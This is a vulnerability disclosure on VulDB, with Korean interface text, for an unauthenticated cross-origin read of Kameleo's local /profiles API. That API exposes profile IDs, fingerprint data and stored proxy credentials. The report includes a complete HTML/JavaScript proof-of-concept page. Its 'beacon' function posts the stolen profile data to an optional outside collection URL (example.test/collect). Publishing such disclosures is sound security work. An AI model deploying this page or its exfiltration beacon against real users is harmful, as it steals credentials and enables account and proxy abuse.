제출 #1011369: https://kameleo.io/ Kameleo 5.0.1.26 Exposure of Sensitive Information due to the unauthentication정보

제목https://kameleo.io/ Kameleo 5.0.1.26 Exposure of Sensitive Information due to the unauthentication
설명## Vulnerability Description A cross-origin profile-inventory disclosure affects `GET /profiles`. When a user visits an attacker-controlled site while Kameleo Engine is active, the vulnerability allows the site to retrieve the profile collection from the local service. The collection can expose profile IDs, fingerprint settings, proxy endpoints, and stored proxy credentials. The profile IDs also identify objects accepted by the cookie-export, cookie-write, and profile-start routes, making the disclosure useful for chaining the remaining findings. ## Vulnerability Principle The profile route returns a broad object graph on the assumption that any loopback caller is trusted. It does not independently authenticate the client or limit sensitive fields before serialization. The Local API's permissive CORS response is the service-side decision that makes the serialized collection readable by the unrelated origin. The PoC processes the response as follows: ```javascript async function read(path, method='GET'){ const r=await fetch(B()+path,{method,mode:'cors',cache:'no-store'}); const txt=await r.text(); let json=null; try{json=JSON.parse(txt);}catch(_){} return {status:r.status, txt, json}; } async function profiles(){ set('out','GET /profiles ...'); try{ const r=await read('/profiles'); const arr=Array.isArray(r.json)?r.json:(r.json?.items||r.json?.data||[]); const id=arr[0]?.id||arr[0]?.Id||''; set('out','Status '+r.status+' — '+arr.length+' profiles'+(id?'\nFirst profile ID: '+id:'')+'\n'+pretty(r.json??r.txt)); beacon('profiles',r.json??r.txt); }catch(e){ set('out','CORS blocked response reading, but the request reached the engine: '+e.message,'warn'); } } ``` `profiles()` requests `/profiles` through the CORS-based `read()` helper. It accepts a top-level array as well as common `items` and `data` wrappers, extracts the first profile ID, prints the full response, and passes it to the optional collector. By the time this parsing runs, the disclosure has already occurred: the service has returned the collection to web-origin JavaScript. The underlying failure is unauthenticated access combined with a CORS policy that authorizes the wrong caller and a response model that includes secrets alongside ordinary profile metadata. ## Vulnerability PoC The following PoC is copied verbatim from `03-profiles-export.html`: ````html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>③ Export all profiles, including proxy credentials</title> <style> :root { --bg:#0f1115; --card:#171a21; --line:#262b36; --fg:#e6e9ef; --mut:#9aa4b2; --ok:#2bd873; --warn:#f5a524; --bad:#ff5c5c; --acc:#4c9aff; } * { box-sizing:border-box; } body { margin:0 auto; max-width:900px; padding:24px; background:var(--bg); color:var(--fg); font:14px/1.55 -apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif; } h1 { font-size:20px; margin:0 0 4px; } .sub,.desc { color:var(--mut); } .sub { margin:0 0 18px; } .cfg,.card { background:var(--card); border:1px solid var(--line); border-radius:10px; padding:14px 16px; margin-bottom:14px; } .cfg { position:sticky; top:0; z-index:2; } .kv { display:flex; flex-wrap:wrap; gap:8px 14px; align-items:center; } .kv b { color:var(--mut); font-weight:600; } code,.mono { font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace; } .ep { color:var(--acc); font-size:12px; margin:4px 0; } button { background:#222835; color:var(--fg); border:1px solid var(--line); border-radius:7px; padding:8px 14px; font-size:13px; cursor:pointer; margin:8px 6px 6px 0; } button:hover { border-color:var(--acc); } button.danger { border-color:#4a2020; background:#2a1414; color:#ff9a9a; } input { background:#0d0f14; color:var(--fg); border:1px solid var(--line); border-radius:6px; padding:6px 9px; font-size:13px; } pre { background:#0d0f14; border:1px solid var(--line); border-radius:8px; padding:11px; overflow:auto; max-height:420px; font-size:12px; white-space:pre-wrap; word-break:break-word; margin:6px 0 0; } pre:empty::before { content:"Output will appear here after you click the button."; color:#5b6373; } .ok{color:var(--ok)} .bad{color:var(--bad)} .warn{color:var(--warn)} .tag { display:inline-block; font-size:10px; font-weight:700; padding:1px 7px; border-radius:20px; margin-left:6px; vertical-align:middle; } .t-read{background:#2a2410;color:var(--warn)} .t-write{background:#2a1414;color:var(--bad)} a { color:var(--acc); } </style> </head> <body> <h1>③ Export all profiles, including proxy credentials <span class="tag t-read">READ</span></h1> <p class="sub">Single-feature standalone test page; target: <span class="mono ok" id="tgt">localhost:5050</span>. <a href="index.html">Back to feature list</a></p> <div class="cfg"> <div class="kv"> <span><b>Target:</b> <input id="host" value="localhost" size="10" onchange="refresh()">:<input id="port" value="5050" size="5" onchange="refresh()"></span> <span><b>Optional collection endpoint:</b> <input id="beacon" placeholder="https://example.test/collect" size="30"></span> </div> </div> <div class="card"> <div class="ep mono">GET /profiles</div> <div class="desc">Lists all profiles; the first profile ID is printed at the top so it can be copied into the cookie or start test pages.</div> <button onclick="profiles()">Export profiles</button> <pre id="out"></pre> </div> <script> const $ = id => document.getElementById(id); const B = () => 'http://' + $('host').value.trim() + ':' + $('port').value.trim(); function refresh(){ $('tgt').textContent = $('host').value.trim()+':'+$('port').value.trim(); } function set(el, msg, cls){ $(el).innerHTML = cls?'<span class="'+cls+'">'+msg+'</span>':msg; } function pretty(v){ try{ return JSON.stringify(v,null,2);}catch(_){return String(v);} } async function beacon(tag, data){ const el=$('beacon'); const url=el?el.value.trim():''; if(!url) return; try{ await fetch(url,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:JSON.stringify({tag,page:location.href,target:B(),ts:Date.now(),data})}); }catch(_){} } async function reach(path, method='GET'){ try{ await fetch(B()+path,{method,mode:'no-cors',cache:'no-store'}); return {reached:true}; } catch(e){ return {reached:false, err:e.message}; } } async function read(path, method='GET'){ const r=await fetch(B()+path,{method,mode:'cors',cache:'no-store'}); const txt=await r.text(); let json=null; try{json=JSON.parse(txt);}catch(_){} return {status:r.status, txt, json}; } window.addEventListener('DOMContentLoaded', refresh); async function profiles(){ set('out','GET /profiles ...'); try{ const r=await read('/profiles'); const arr=Array.isArray(r.json)?r.json:(r.json?.items||r.json?.data||[]); const id=arr[0]?.id||arr[0]?.Id||''; set('out','Status '+r.status+' — '+arr.length+' profiles'+(id?'\nFirst profile ID: '+id:'')+'\n'+pretty(r.json??r.txt)); beacon('profiles',r.json??r.txt); }catch(e){ set('out','CORS blocked response reading, but the request reached the engine: '+e.message,'warn'); } } </script> </body> </html> ````
원천⚠️ https://drive.google.com/file/d/1ZuDXJSM1SQDNZogKq8oEQ6qtDI1TkGN7/view?usp=drive_link
사용자
 researchersongwu (UID 100991)
제출2026. 10. 02. PM 01:53 (24 날 ago)
모더레이션2026. 10. 25. PM 08:17 (23 days later)
상태수락
VulDB 항목426308 [Kameleo 까지 5.0.1.26 Local API /profiles 정보 공개]
포인트들20

Do you need the next level of professionalism?

Upgrade your account now!